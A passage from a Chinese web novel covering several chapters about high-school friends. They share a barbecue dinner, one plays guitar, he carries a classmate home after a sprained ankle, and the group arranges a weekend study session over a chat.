刚说着,吕丁见易承速度如此之快,便有模有样地拽着赵鸿途的肩膀往后拉,赵鸿途也上道地“陪演”——往后退,结果两人没收住力,“啪”地一声往后栽过去了。 彩色塑料矮凳,就那么水灵灵地翻了…… 动静之大,吓得两手还套着塑料袋儿的老板快马加鞭跑出来,“怎么了?这儿不许打架啊!” 用“烂泥扶不上墙”的眼神扫了两眼人,易承回头,笑道回道:“没没没,椅翻了。” “哦哦,吓我一跳。”老板抹了把额头上真实存在的冷汗,“忘提醒你们了,这椅子十几年前的,容易翻。注意点儿就行。” 等人走回去,易承一脚踢正吕丁的塑料矮凳,厉声:“消停点儿。” “好的,易哥。”吕丁挠挠脑袋,正襟危坐。 一盘接一盘的烧烤被端出来,上面洒了一层又一层的孜然辣椒面,裹得厚重,羊肉牛肉五花肉,肉眼都寻不见了。 有了拌嘴儿物,聊天就上道了。 “来,免费啤酒。”老板端着一箱剩的不算多的啤酒,看了眼桌上的人,将啤酒箱放在易承和许桑中间,道:“不过少喝点儿,虽然不醉人。” “行,叔,我们懂。”陈慢“刺啦”咬完一串肉,嘴皮内外全是粉儿,说起话来扑令扑令的,“上次有人喝了几箱走,是不是?” 老板诧异,但诚实:“还真是,小伙子经验多啊。” “哪里哪里,我爸就这么破产的。”陈慢云淡风轻地说上了一句。 老板往后退了一步,“……” 20、第20章 冷极了的天,围着煮火锅,人差不多会觉得心暖暖的;而没那么冷的秋夜,一顿辣烧烤,刚刚好。 “味道还行,就是有点儿辣!” 吕丁撅着嘴,唇角间源源不断冒出口水,像严监生死前的最后一指般,他伸出手,虚弱地颤着:“易哥,给我瓶酒。” 易承弯身捞了两瓶,指尖扣着拉环,随着酒气炸出,一团小而飘的气雾弥散,“收着点。” 碰到啤酒,看到吕丁,这两样东西一旦结合在一起,易承脑中就止不住地想起: 之前半夜在大马路上扯着嗓子唱“凤凰传奇”、抄起四肢舞“小苹果”的人,偏还号召性极强,窜几条街、刚结束广场舞的老大爷老大妈“闻着味儿”尽数往这边冲来…… 若非他眼利先一步将人拉走,鬼知道会出现什么“与民共舞”的场面。 “知道知道。”吕丁说了声谢,昂起头猛灌了一口,语气有些仙飘飘的,道:“爽!” 正是长身体纯饿的年纪,这桌点的百分之八十都是荤的,其余杂七杂八的素菜,基本都入了许桑的肚。 易承不嫌烦地用单根筷子挑掉厚重的一层调料,将两串儿五花肉咬近嘴里时,又看了许桑一眼,咽下肉后,他没忍住问:“活这么健康?” 许桑刚好拿过一串莴笋片,上面的绿意还算显眼,比“掘地三尺看不到肉片”的肉串好得多得多,他回道: “比起吃调料,是要健康些。” 易承随眸看了眼身前的白盘子,上面孜然辣椒面都裹了快一厘米高,笑道:“这话说的在理。” 说着,他也跟着拿了串莴笋片,一口咬下去,嘎嘣脆! “许桑,你还记得月考前我跟你说的吗?就是:千万别让别人看到你的答案,要有知识产权意识,不然会有麻烦。”吕丁已经过渡到纯靠花生米下酒的阶段,脸颊中部飘红。 许桑应声,“记得。” “你不好奇为什么吗?”吕丁疯狂飘眼神,就差在脸上写几个大字“问我,问我”。 许桑捧场:“好奇。” 一旁易承听他风平浪静的语调,和口中的话格格不入,像个傻子一样笑了两声,还没笑完,就被辣椒面呛到。 许桑无奈地看了他一眼,把开封后还没喝的啤酒递了过去。 易承笑着接过,憋着那声咳嗽,小声:“谢了。” 等他俩短暂两三秒互动完,吕丁醉得摇头晃脑,连翻了两个白眼,才落回实地,说道: “最后一个考场,出了名的鱼龙混杂。人找你要答案,不给,记一笔;人偷瞄你答案,错了,记一笔……你初来乍到,实力不显,自然没人找你要答案,但不乏偷瞄的哈,我怕你到时候没头没脑被欺负了,才提醒了一嘴。” 什么荒诞的校风… “谢谢提醒。”许桑说的没什么情绪。 考场上确实是乱,他写完题闲着,毕竟新来第一考,他也没什么欲望“佯装进厕所然后搞一出‘离奇失踪’、默默在某个犄角旮旯逍遥半小时”,就随意欣赏了下教室的装修风格。 两个字,破烂。 没心情再扫装修,他就饶有兴致地看着前桌,从宽大的袖口里掏出本揉的起痕的“小书”,默不作声地翻着;看着旁桌,一根手指行天下,一刻不停地戳着“智能单词笔”的输入框;看着旁旁桌,眼都斜飞了,还没瞟到答案…… 他只得感叹一句:大千世界,无奇不有。 “当然,你也不用过于担心害怕,这风气目前散了不少。” 许桑觉得有些干,端起啤酒瓶喝了一口,许是酒意助兴,他多余地问:“为何?” “这个嘛……”吕丁人还没完全醉翻,开口前朝易承递了个眼神,后者坐没坐相,会意后轻挑眉,算是默认了,他才继续说: “这风气就是被小小邓带起来的,当初易哥成绩还顶好时,因为生病缺考去了末考场,好巧不巧,他俩同一排,你知道那过道间距的,但凡眼睛好使点儿,但凡对方没藏着掖着,都轻轻松松瞟到。” “结果你猜怎么着?”抛了个悬念,吕丁小酌一口,继续:“小小邓瞟出了数学3分儿的成绩!牛吧,我说就这个味儿爽!” “……”许桑情绪被调动了些,听他说完,推出啤酒瓶跟人碰了一个,回道:“厉害。” 酒液滚进喉腔时,许桑眸光深了一瞬: “当初易哥成绩还顶好时”、三分…… “不过也是那次,易哥跟小小邓有了些过节,见个面不是打就是骂的。”吕丁说到这便没多言,闷着脑袋戳花生米。 易承嘴角带笑,晃着酒瓶,听酒液拍碎在瓶身,“什么打打骂骂,文明社会,我还是要形象的。” 离得近,许桑余光瞥见他笑意下的沉冷,指尖点了两下瓶身。 “易哥,你还有形象?”陈慢被淹没在羊肉串儿里,听着声儿就条件反射发问。 “……”易承抬了抬下巴,“这么多串儿也堵不住你嘴?” “是是是,我闭嘴。”陈慢嘟囔一句,“说得好像我闭嘴你就有形象了。” 常年当班长的人,对说话声量的判定或许有失偏颇,他这一声落下,剩下四位“刷”地看向他。 懒得数共几只的眼睛直愣愣对上,没两秒就笑作一片。 “这么好吃啊?”老板端着盘凉拌黄瓜出来,撞见这一幕,也跟着笑起来。 易承先一步看向他,回道:“好吃好吃,花生米跟啤酒,简直绝配。” 主菜夸不了,硬夸“预制品”。 这过于熟悉的话术……许桑勾唇笑着。 “这花生米啊,我自己炒的,开始还以为拿不出手呢,没想到,没想到你们都说好吃。”老板不知道怎么就羞涩起来了,把那盘拍黄瓜放到桌上,忙说,“屋里还多了些食材,我去烤来送你们吃!等两分钟哈!” “不用不用了叔,我们吃饱了,吃饱了。”陈慢连忙发动他的大嗓门,将云里雾里的老板震回现实。 “啊?哦,那行那行。”老板搓了搓手,面上流过一丝遗憾,背影忧郁地走了进去。 “怎么一个二个都这么自信。”陈慢晃了下脑袋,“易哥,还有酒吗?” “还有一瓶。”易承提溜起那瓶,抛给他,见他接住了,才问道:“还要点什么吗?” “不用。”几人齐声应道。 “行,我去结账。”易承仰头将最后几口啤酒一口饮尽,起身时抹掉滚到颈侧的酒液,长腿一迈,就进了店内。 见状,许桑放下啤酒瓶,也跟着进去了。 留下的三人仨脑袋凑一堆,往下怼着那盘拍黄瓜看了半天,才抽出筷子一人夹了一筷。 没毒。 还怪好吃的。 易承从裤兜里抽了两张一百,递给疲惫满脸依旧笑着的老板娘,等找钱时,看向跟进来的人,“怎么,担心我没钱?” “嗯。”许桑如实答道。 至少,上学期间还要身兼他职这点,论证蛮有力的。 “一顿而已,还不至于。”易承收回找零的78块,自然地揽过他肩膀,近距离下才留意到他俩身高差不离。 不太习惯过于近距离,但许桑也没推开人,淡淡看着他,“行。” 揽着人走到桌面,易承拍了拍已经趴着睡着了的吕丁,熟稔地看向赵鸿途,“能把人带回去吗?” “我跟慢慢一起。”赵鸿途点头。 说完,两人一人一边架起吕丁,呲牙咧嘴略显艰难地拖着人走了两步,陈慢回头,“那我们先走了,易哥,记得把许桑安全送回去,不然我到时候难交代。” 真是随时惦记着“为人民服务”啊…… “知道了,注意安全。”易承低身抽了两张纸,擦了两下指尖后,把纸团精准扔进对桌的垃圾桶里,“走,同桌,送你回去。” “……嗯。”许桑瞥了眼脚边塞满卫生纸——尽糊了火红色调料——的垃圾桶,默了一声,问:“吕丁没事吧?” “放心吧。”易承调了个方向,往前走,“回回醉,回回没事。” 许桑跟上他的步子:“嗯。” 漫无目的地走了有一会儿,许桑望着周边依旧陌生的景致,问道:“这是哪儿?” 易承滞了两瞬:“都快一周了,还没记住?” “……”许桑默着,自己都觉得难以启齿。 不过确实,从小认清路的次数屈指可数;即使跟着导航走,也能把自己逛着乱成麻,总是“导航到了,他还在原地打转。” “正常。”易承笑了声,慰道:“记不住路,记得住其他的也行。” 许桑偏头,恰好闯进他眼里,染着夜色昏昏,笑意如星闪亮,距离没拉开,鼻尖还萦绕着些酒味,他喉头轻滚,“嗯。” 易承自如解路:“这里是朝昏区东区,一条不像样的小吃街做中轴线,下次不幸路过可以去喝街尾的粥,熬的香……我带你走大路吧,有路牌好记。” “好。” 从小道穿出来,上了正道,没走两步,就碰上“朝昏站”的公交站台。 记忆些许回笼,许桑看向身旁的易承,语气清淡:“还记得吗?” “什么?”易承没反应过来。 许桑顿下步子,背后两拳之隔是墙,“欠我一首曲。” 易承单手插兜,闻言朝他进了一步,目光轻浮,挑眉道:“现在就要啊?” 被迫退后一步,许桑背部抵上秋夜冰凉的墙面,许是太久没碰过酒,又或是晕在烧烤香里一晚上脑子遭不住了,他说话不太经脑子,“嗯。你给吗?” 易承看他的眼神沉了两分,几秒后才往后退了一步。 20-30 第21章 第21章 【“乖,别逞能。”】…… 这里离易承家, 只有十分钟左右的路程。 易承在前方带着路,难得的一言不发,目视前方, 视线所及落不到实处,像是深陷思绪迷团里。 同样, 直到钥匙插进门锁孔里,发出具有穿透力的一声杂响, 许桑才轻皱眉。 吃顿烧烤把脑子胀坏了? 怎么无缘无故就跟人“回家”了…… “喝杯温水,暖暖胃。”易承提着水壶倒了半杯水, 递给落座沙发的许桑。 “谢谢。”许桑接过, 隔着透明杯身,感受着里端传出的热度,低头喝了一小口。 “我先上个厕所。” 许桑看了他一眼,“嗯。” 易承伸手按了下肩颈处,散着筋骨,就往厕所走去。 许桑抱着水杯喝了两口后, 就开始打量周遭环境。 并不算大的房间,物件儿也少,但莫名很温馨。 头顶悬着饰品简单的吊灯,灯光分两层,内里一层白亮,偏外一层近乎橙黄,两相结合,将屋内星星点点都打上柔和的光线;总体干干净净, 除了窗台处堆着的水果箱、纸壳,累了几大层,带着些不算难闻、但不容忽视的气味。 就近把水杯放到茶几上, 许桑瞥了眼茶几下方随意倒扣着的书,书名很明晰——“数学基础级练题”,而略小一些的字眼上,标的是“高二下”。 和目前的学段有一学期之差。 “哥哥?”秋秋踏着毛拖鞋走出来,人不大,套的睡衣毛绒绒却炸开一大坨,乍一眼看不到人的程度。 见到许桑,有些摸不着头脑。 许桑撤回视线,一眼望到她的造型,顿了一下,“秋秋。” 秋秋笑嘻嘻的,扒拉了两下乱得不成样子的头发,“哥哥,我哥呢?” “你哥在这儿呢。”轻快的嗓音落出,易承在身后轻轻揉了下她的头,“怎么还不睡觉?” “哥!头发都被你弄乱了!”秋秋瘪了下嘴,“明天星期六。” “……污蔑啊,本来就乱的。”易承收回手,将另一手端着的果盘放到茶几上。 “切。”秋秋鼓着张脸,走到对面开了电视,双腿盘着坐在茶几前,抱着遥控板,把音量往下调了很多。 易承拿起个苹果,顺手摸过水果刀,熟练地削皮。 削到一半,他片下一小块“白花花”,用刀尖戳住,递到许桑面前,“要吃吗?” “不用。”许桑应了声,视线越过他,落在沙发底只露出半截儿的书上。 还没看几眼呢,就四五本书了。 只是位置都比较特殊,比一般进门随便踢掉的鞋的落点还要离谱。 电视里,播着每天如此、易承看都看腻了的动画片——《熊出没》。 秋秋把自己裹成一团,仰头望着电视,眼里亮亮的。 “先说好,我没专门学过吉他。”易承咬下那块苹果,咽下后,抽过小盘子,一边切块,一边对许桑说,“只会一首,还是从我妈那顺来的,听不下去了就直说。” 许桑“嗯”了一声,视线从“被马蜂追的光头强”身上错开,看向易承,“我没什么预期值。” 易承顿了两下,才笑道,“……你这话说的。” 进卧房前,易承把切好的一盘苹果推到秋秋面前,说:“秋秋,一天一苹果。” “医生远离我!”秋秋弯起眉眼笑着,一团人蠕动了两下,抱过果盘,正欲大吃一顿时,看向起身的许桑,问:“哥哥不吃吗?” “谢谢,不用。”许桑平和地看着小女孩。 “你这胳膊肘往外拐的厉害啊。”一旁,易承“酸”道。 “哪里哪里。”秋秋故作老成,除了软糯的嗓音,那小表情还是有几分模样的,“哥,不是你说,‘往外拐,旋回来不就落你身上了。’” 许桑轻勾唇,颇有兴致地看向易承。 “……”易承顿住。 他就不兴多说话,回旋镖不知道落他身上多少次了。 前有吕丁,后有秋秋,还没完没了了。 “快吃,吃都堵不住你嘴。”易承被许桑看得有些不自在,想着,拉住他手腕,便要往自己卧房里带,“看你的光头强吧…” “好啊好啊。”秋秋爬坐起来,往沙发上坐去,还捞过小毛毯,把自己包得暖暖的。 进到卧房时,易承才松了他手腕,将置放好的吉他取出,用脚勾住凳子坐下,挑眉,“随便坐着吧。” 许桑抚上手腕,压下方才泛起的异样感觉,倚着门,看了眼屋内。 这间卧房也小,一张床,一个书桌,上面连着书架,书架上挤满了书,大多是些杂书,根据厚度目测基本都是上百万字;连着书桌的是衣柜,关着的。 总之扫了一圈,干净得连多的椅子都没看见。 “你弹就是。”许桑单手插兜,目光随散地看着他。 “咳……”易承大概也是第一次被人盯着去拉完一首曲目,指尖落下前,闭眼深呼吸了几次,才面色平静地开始落指。 开头是悠长流转的调,始终落在一个区域间,起承转合里,带出清丽丽的和缓。像身处有风自由的原野,不过,几秒后,便渐渐飘来成丝不成片的乌云,有斜成线、却连不成串的雨点随风翩跹。 指尖轻点,许桑不由地闭上眼。 第一次听时,易承并未出声,只有乐器声在黑夜里成响;这次稍有不同,扫弦之时,易承在轻轻地唱。 易承的声音很好听,平时说话时,极富少年气,阳光张扬;而此时,伴着曲目舒缓的调,他声音不免低沉了些,垂着的眸中,氲着淡淡的伤感。 “……往后的余生,我只要你……” 短短几分钟时间,像火箭一样流逝得飞快,还未细细品味,就沉入记忆,落成有声的过往。 许桑睁眼,发自内心地拍了两掌,“好听。” “啧。”易承起身,将吉他放在旁边,直起身子,看着他,眼神些许迷离:“实不相瞒,这首曲子,是我妈逼我学的。没成想,乱七八糟一通学,还能得你一声‘好听’。” 许桑问,“逼你?” 问完,他心道:今天问题怎么这么多? “自然是:‘条条大路通罗马’的道理在她老心里根深蒂固。”易承说得很不经意,“她怕我吊儿郎当考不上大学,听了些大妈的议论,就满腔热血去淘了把吉他。” “也不知道怎么学的,反正后来她会了,还愣是要我学会。我若不学,就一哭二闹三上吊,实在不得已,我才去偷了些旁门左道练着会了……” 听完,许桑简短作评,“挺有远见。” 易承偏头,无奈接下他的言外之意——“成绩确实差”,笑着回道:“嗯,你说得对。” 脸皮确实厚…… 许桑竟有些无言以对,沉默片刻后,回道:“所以,真要走这条路?” “不。”易承朝他走来,“艺考这条路,单纯听着轻巧,实际走起来,难。而且,这二手吉他,还弹不到半年,说不定就废了。” 许桑“嗯”了一声,表示赞同。 没让情绪停留太久,易承扫了时间,“22:14”,微抬下巴,“不早了,曲也听完了,送你回去?” “好。” 走过客厅,易承换鞋时,对秋秋说:“秋秋,打个招呼。” 正跟着“冬眠假期刚刚结束……”片头曲摇头晃脑的秋秋,听到他哥的声音,连忙抬起头来,呲牙笑:“哥哥再见,路上注意安全!” “再见。”许桑轻轻点头,回之以笑。 出了门,易承脑中像嵌套了幅比例尺极大的地图,弯弯绕绕毫无逻辑的路线,在他的带头下格外明晰。 跟着他,内心很实在。 许桑同他并肩走着,望着远处的路灯和在心中渐渐有了印象的楼房,一时有些出神。 没留意到脚下到处“开枝散叶”的粗大树根——那根根树根,没有分寸,除了横生就是乱长,在本就破烂待修的道路上,拱出丘陵地势般的坑坑洼洼。 鞋尖被歪而曲树根一抵,囚住时,不平的路,勾着脚往侧了崴;另一脚却先一步迈出,这一步之差,使得劲儿便偏了准头…… 许桑本能感觉心下一空,右腿曲下去的那刻,尽可能地作出“挽救”调整。 于是,伸出的手本应先一步着地,以消解更大面积的摔伤。 但身旁的人动作更快,一步跨到他身前,想也没想就张开臂膀,接住了他。 手实实在在落在他身上,许桑几乎是以一个被抱住的姿势,才免了“落地摔成凹凸不平的肉饼”。 由紧急情况带出的心脏狂跳,越过衣料,激活了肌肤处的感官神经。 易承喉头轻滚,接住人时,许桑的鼻尖擦过他颈侧,带着夜里的凉气。 他没说话,稳住许桑后,蹲下身子,道:“扶墙站好,我看看崴到没。” “嗯。”许桑轻拧眉,望着远远的路灯,小小的一簇光亮,只留下朦胧的晕圈。 推开裤腿,易承捏住他细瘦的脚踝,手法娴熟,左右轻拧后,按了两下。 见没什么特别大的问题,他就着这姿势仰头,“痛不痛?” 许桑垂眸,径直望进他眼里,微顿,“还好。” “还好?”易承挑眉,“吕丁没跟你说过,这话压根儿不算个回答。” “……”许桑轻抿唇,有些不自然地说出那个字,“痛。” 一个像是早就烂在肚子里、只余腐烂因子的字眼。 “能不痛吗?”易承低低吐槽一句,起身时踹了脚“冒头昂首”的树根,笑骂:“破树根,长了几十年还不懂人树有别,天天越界……之前秋秋也被绊倒过,哭得脸都皱了——上来,我背你。” 说着,他转了个向,把后背朝向许桑。 眸光渐深,许桑看着他,回道:“我可以走。” 易承梦回秋秋,温声,慰道:“乖,别逞能。” “……”有些不自在,许桑生硬别开视线,“我没逞能。”说完,就迈步向前。 不过,貌似这其貌不扬的树根水平是有些高,就绊人一下,脚腕下的筋就跟错了位一样。堪堪走完一步,痛觉便被狠狠敲打着。 易承也不责他,站在旁边看他走了两步,见人强撑着,以致发力点跟着错,忽地严肃,“许桑。” “嗯?” “要我背还是抱?”易承语气冰凉,说出的话却带着燎原的温度。 “……”许桑顿住步子。 实在僵持不下,许桑还是由着他,被背着回了家。 路程倒不远,就是上五楼有些累人,因为贴得近,能感受到身下人略显粗重的呼吸。 许桑出声:“要不我自己走?” 到底也是大男人一个,崴个脚而已,忍着忍着也能跟没事人一样。 “这都四楼了。”易承借喘气间隙回道:“说了还不如不说。” “……”许桑立马闭了嘴,心中盘绕的那些类似“心疼”的情愫消失得一干二净。 到门口时,正欲将人放下来开门,门就自己拉开了。 里面,依旧围裙加身的刘姨,面色焦急,“孩子?”看到易承,她诧异地问道:“这……” “他脚崴了。”易承主动解释,进门时,换了双刘姨手忙脚乱拆开的新拖鞋,走到沙发前,偏头,“回房间还是?” “就在客厅。”许桑回道。 “行。”易承转了方向,将人轻轻放下后,向刘姨看去,“姨,打扰了。药箱在哪?” “我给你拿。”刘姨带上门,快速地跑到柜台里,翻出个铁质箱盒,忙提到茶几上放好,打开后,说:“之前我听张姐的,去药店买了些常用的。若是没有,我马上去买。” “不用不用。”易承笑着,虽不知对方是许桑的什么人,但见这副焦急态,下意识地宽慰,“别担心,这事儿我拿手。” “诶,好。”刘姨往旁边一退,也不知做什么,就提着刚烧开的水壶,倒了两杯热水,看着易承的背影,“要姨帮忙尽管说啊。” “嗯。” 崴脚这种伤,讲究个及时处理。若是忍着痛不管不顾就那般过了,日后指不定就落下了病根。 易承之前处理杨叔崴伤时,跟医生学了不少,处理起来还算游刃有余。 许桑低眸,看他蹲在地上,极具手法地揉按着脚踝处,痛感被分散不少……看着,他出声:“谢谢。” 易承仰头,笑着看他,“嗯。问题不大,我帮你热敷一下,明天好好休息。” “好。” 一派派解决完,易承伸了个懒腰,掩面打完哈欠后,打趣道:“人怪轻的,多吃些。” “……”许桑坐着看他,尤其看他嘴角噙着那抹笑,“找打?” “欸!”刘姨连忙出声止住,温温和和地看着易承,又转而看向许桑,“孩子,人说得对。你是该多吃些,吃得好,身体才能好。” “嗯。”像是有人背后撑腰,易承挑眉,看他,“听到没,多吃。” 许桑默着,终是拗不过两人,“嗯。” 第22章 第22章 【“五虎上将”。】…… “秋秋, 还记得我之前说过的话吗?”把货摆上后,易承抬起手臂,借胳膊肘处的衣服擦了擦额间的汗, 而后单手拧开矿泉水瓶,仰头灌了一大口。 “记得记得。” 秋秋身高还不太够,站着也就跟摆梨子那栏的货架差不多齐平,昂直脑袋, “有客人来,一定要笑, 不管什么事都不能哭, 要笑。” “嗯。”待呼吸平缓下来,易承放下水瓶,“过来吃点早餐,别饿晕了,我懒得扛你回去。” “好。” 秋秋跑过来,望着易承两手撑开的塑料袋, 想也没想,脑袋伸进去,热气扑她一脸,她皱起鼻头抖了两下脑袋,才后知后觉用手去拿。 “……”易承看她拿个油条都蠢的可以,没忍住出声: “秋秋,你是没睡醒还是忘带脑子了?” “哥!都不是。”秋秋摸出一截特意剪成段的油条,整个塞进嘴里, 鼓着脸摇头晃脑,“好吃!” 易承捞过一旁的豆浆,插进吸管递给她, “混着吃,噎着了你又要哭。” “我才不会哭呢。”秋秋叼住吸管,猛吸了口,被烫得上下嘴皮疯狂打架,伸手飞速扇着风,“烫烫烫!” “……”易承伸腿挪来板凳,把两样吃的一并放过去,空出手来轻拍她的头,“唉,眼泪出来了,秋秋。” 红了眼睛、鼻头的秋秋飞速抹了把眼睛,吸掉鼻涕,嘴硬:“才没有。” “嗯……也没事儿,张大嘴喝两口风就好了。”易承眼见门口进了人,轻拍她的背,示意她边儿去吃,“来活了,哥先出去忙。” “去吧去吧。”秋秋甩了两下手腕,没骨头一样溜了进去。 “今天我孙女放假回来了,来买点好水果回去。”大娘拖着小推车就进来了,四处张望一圈,“小伙子,帮我捡点儿好看的苹果,要最好的,多捡几个,哈哈。” 易承笑着应了一声,“好。” …… 周末水果店人流量比平时多多了,这时,他一般会附带进一些销量不错的蔬菜。 不过,顾客一多,忙起来他就跟陀螺似的,四面八方的人都来抽一鞭子,偏偏都是“上帝”,躲不过,只得到处旋。 好在,高峰期一过,人就闲下来了。 差不多有两三分钟没进人了,易承低头刨了下“散碎银子”,把几张一百的捞起来,仰头对着光又验了一遍真假,才收进兜里。 走回里间时,顺手剥了根儿香蕉,咬了一大截儿。 太熟了,不好吃。 掰断有咬痕的那截儿,精准甩进垃圾桶,他唤了声一旁抱着粉红书包、咬着粉红铅笔头硬刚数学题的秋秋,“秋秋,吃香蕉吗?” 秋秋眼睛一亮,“要吃要吃!” “拿去。”易承把香蕉给她,趁她双手捧着吃时,抽了张卫生纸擦手,顺带垂眸看了眼她算的题。 才看到第一题,就直接兜头一棒——“77-7=7。” “秋秋,7+7等于多少?”易承没忍住,问。 秋秋含糊回道:“14啊。” 啃个香蕉能糊一脸……易承一时不知道该吐槽哪方面的“愚蠢”,两个深呼吸后,耐心:“秋秋,学过验算吗?” “学过。”秋秋应道。 以各种扭曲姿势弯脑袋去啃香蕉,愣是不知道挪一下手…… 易承:“那你验算一遍。” 等她算时,易承看了眼站在一堆因为快烂了而特价出售的梨子前的老头,见他挑挑拣拣,翻来覆去地叹气,粗略估计“人不会买了”后,偏头看她的验算。 写了个7+7=14,然后,按了暂停键一样,秋秋卡顿在原地。 呆若木鸡。 “呵。”易承轻笑一声,伸手轻轻弹了她个脑瓜蹦,“做减法不是吃香蕉,咬一口就没了……算不来就扳手指,手指不够脚趾来凑,再不够,去数隔壁阿姨家的鸡爪子。” “啊?”秋秋明显脑子宕机了一下,“……啊,哥,香蕉一口吃不没。” 易承嘴角抽了一下,弯身拿过她书包,捞出包着亮粉色书皮的数学书,眼睛无声被刺痛了一下。 看了眼目录,他翻到对应章节,把书撂下: “自己看,看不懂算了。反正有计算机,以后手没断就行。”- “孩子,脚踝还痛不痛啊?”刘姨敲了两声门,得到应答后才进去,看着已经坐到书桌旁的许桑,辨不清情况,还是先问为敬。 “没事。”许桑转了圈笔,看着人回答。 “那就好。”刘姨站在门口,问得小心翼翼,“我熬了些热粥,你写完题,或者说有空想休息了,就出来吃点儿。我一直热着的,随时都能吃。” 不太想多劳烦人一而再再而三地热粥,许桑落笔,“我现在吃。” “好,好。”刘姨展颜,笑了个大的。 可能是易承处理得还不错,走这两路,脚踝处除了残余的轻微疼痛,没别的了。 许桑适应两步后,自如走到餐桌上。 清炒蛋配稀饭…… 刘姨端上半锅稀饭,给他舀了一碗,递过去时,念叨: “早饭是一定要吃的,一天三顿,最重要的就是早上这顿。像你这般年纪的孩子,总爱闹着减肥,不吃晚饭就算了,连早饭都不吃,那怎么行呢!你说是吧?” “……是。”许桑接过,拿着汤匙舀了一勺。 热了有两次应该,稠稠的,混着各类豆子松软,馨香封锁其间,入口只觉味蕾跟着雀跃,忍不住多吃几口。 “萝卜缨也可以做泡菜,泡出来好吃。”刘姨落座,从小罐子里捞出泡菜,“不过还没泡好,今天还是泡的胡萝卜。” 许桑“嗯”了一声,捞起一旁的筷子夹了两块,丢到碗里。 说来也怪,之前他的早餐不是面包就是三明治;不是馒头就是包子…… 来这儿之后,张姐耍了些小聪明,借两城市的经济水平差异,低成本雇了刘姨换自己一通清闲。 而意外的,刘姨虽则总是固定地做“泡菜下粥”,变数算大,但总体感受却比之前好太多。 纯天然的粥香,混着菜蔬淡淡的清甜……好吃。 “孩子。”刘姨犹豫了有几次,才开口。 不过眼神躲闪,不敢直视人,只盯着干净无染的桌面,“我能请天假吗?放心,我等会儿把中午晚上的饭都备好,你热一热就能吃。” 许桑应道:“随您,都可以。” 他也不是没有自理能力…… “哎,好。”刘姨这才抬起头来,细说,“我闺女说,好久没吃我做的新鲜的菜了。她学习压力也大,我就想着,趁周末,给她做顿好吃的,免得她天天念着,万一耽误了学习……” 等她一通解释完,许桑恰好放下碗筷,回道:“您回去就是,我自己也行。” “不不不,我把锅碗洗好,顺带给你买些菜,弄完再走。” “倒也不用。”许桑起身,顺过碗筷往厨房走,偏头笑着对她说,“您周末本就可以不来的,倒也没有这么苛刻的工作作息。” 刘姨面上表情呆滞了会儿,咀嚼完这话中意思,回神时,许桑已经清洗好碗筷,拿了张纸在擦手。 面上皮肤多少有些松弛了,她扯出笑容,“孩子,谢谢。” 等人走后,许桑照旧回了卧房。 没再管南城附中低水平的作业,他把整理了两天的题调出来,算完最后几道,手动“剥”了答案,整理成几份文档,发到了之前那个五人群里——“牛逼炒馆”的机缘。 不知道是谁,更不知道什么时候改的群名,蛮怪诞的: “五虎上将”。 “……”他默了两声,将几个文件单独选中,同时发进群里,并附了一句: 【许桑:几套题的精减合编,质量中等偏上,闲了可以做。】 几乎是发完的同时,里面就疯狂炸进几条消息。 【不识好人丁:!!】 【不识好人丁:我靠啊,这消息轰炸得我脑袋嗡嗡的。】 【不识好人丁:刚还梦见上周见的美女妹妹,正做梦以为她给我发消息了,口水都流出来了,结果,数学!个害人精,毁人美梦……】 【不学习浑身难受:终于来了,正愁没题做呢!谢谢许哥!】 【慢即是快(为人民服务版):忘关铃声给我叮醒了。】 【慢即是快(为人民服务版):???这是个学习群啊……哦,我想起来了,报意思…】 手机右上角,显示现在是上午九点半,理论上讲,身体里但凡有点儿活力因子的人,尤其是高中生,都至少该是睁眼状态。 许桑看着跳进的消息,眉头轻皱,把没发完的半句发出去: 【许桑:要答案找我。】 赵鸿途回得贼积极,快得都打出了错别字: 【不学习浑身难受:好好哈,谢谢许哥!】 倒扣上手机,许桑抽出一套真题卷,食指抵开笔帽,就开始算。 刚扫到第六题,微信通话铃声闹腾起来,他没多看,左手划了接听后,继续做题。 吕丁最先出声,声音里裹着累积十几二十年的睡意,“你们……靠,给老子睡出超绝低音炮了…咳咳…你们怎么起怎么早?” “早?!”隔着不知道多少公里的直线距离,都能感受到赵鸿途喷口水了,“我今早起来作业都做完了,你还没起呢!” 陈慢连清了四五声嗓子,才说:“鸿途,你不懂,说不定你爬起来做题时,咱俩才刚刚闭眼睛呢……” 许桑笔尖轻顿,目光落在第八题题面上 “‘你是什么垃圾?’这句流行语火爆全网,垃圾分类也成为热议话题。某小区有如下四种垃圾桶,某天,张三提着四袋属于不同垃圾桶的垃圾投放,发现每个垃圾桶再各投一袋就满了,作为一名法外狂徒,张三要随机投放垃圾,则法外狂徒张三只投对一袋垃圾或两袋垃圾的概率为_” “……”他轻叹气,在题干旁落下7/12。 陈慢打了个打哈欠,“欸?说正事,谁发起的聊天?” 许桑找到D选项,正欲写下,耳边传来一声带笑的回答:“你易哥。” 注意力被吸走片刻,他指尖轻顿,隔了两秒,才顺当写下答案。 “难得啊,易哥。”吕丁那头,细细簌簌的动静,应该是下床在穿衣服,“有什么大事要小弟们上啊?” 易承那头声音比较嘈杂,他走了两步换到个安静的地方,“没事儿,惦记惦记你们。” “我靠,易哥,别搞啊!”声音骤地变了频率,吕丁那头还有东西落地的声音,“吓得我裤子都掉了……” “呵呵哈哈,至于嘛。”陈慢声音逐渐恢复正常的“雷动”。 “我知道易哥想干嘛。”久久不出声的赵鸿途,听动静是放下笔了,“定是要我们好好学习,找个自习室一起约着学对不对?” 聊天中断,鸦雀无声:“……” 许桑跳过简单的求函数值域、单调区间的大题,给卷子翻了个面儿。 “网卡了吗?信号满格啊!”赵鸿途自顾自说着,“我找老徐问过了,等运动会结束,下下周就是期中考,期中考啊,不仅请家长,还涉及到下学期初奖学金百分之四十的权重。我们得趁这个周末,弯道超车!” “呃……其实也行。”陈慢捧场,“不过咱这地儿没自习室啊,有也是各种吧咖,不太适合学习吧。” 吕丁穿好裤子,“鸿途,有你是我的福气……虽然但是,就我这37分儿、过妇女节都不够格的分数,有地方我就来!!” 易承吐槽:“有毛病?考150你也不够格过啊!” “……哦,是啊,舌头太顺了,没注意就滑出来了,嘿嘿。”吕丁尬笑。 “地方好说,易哥许哥呢?”赵鸿途说着说着就亢奋了。 易承拉开内间的帘子,给电饭煲调到“白米饭”模式后,思考后回答:“可以。” 把最后一步列完,许桑偏头,扣转屏幕,开口前看了眼单独跳进聊天框的消息: 【易承:想来但怕走丢了,可以先来找我。】 “……”许桑退出聊天框,在赵鸿途的又一声“逼问”下,淡声:“可以。” 第23章 第23章 【这年头,当个班长都能当出…… 通话挂断后的几分钟, 赵鸿途在群里简单发了个时间和地址。 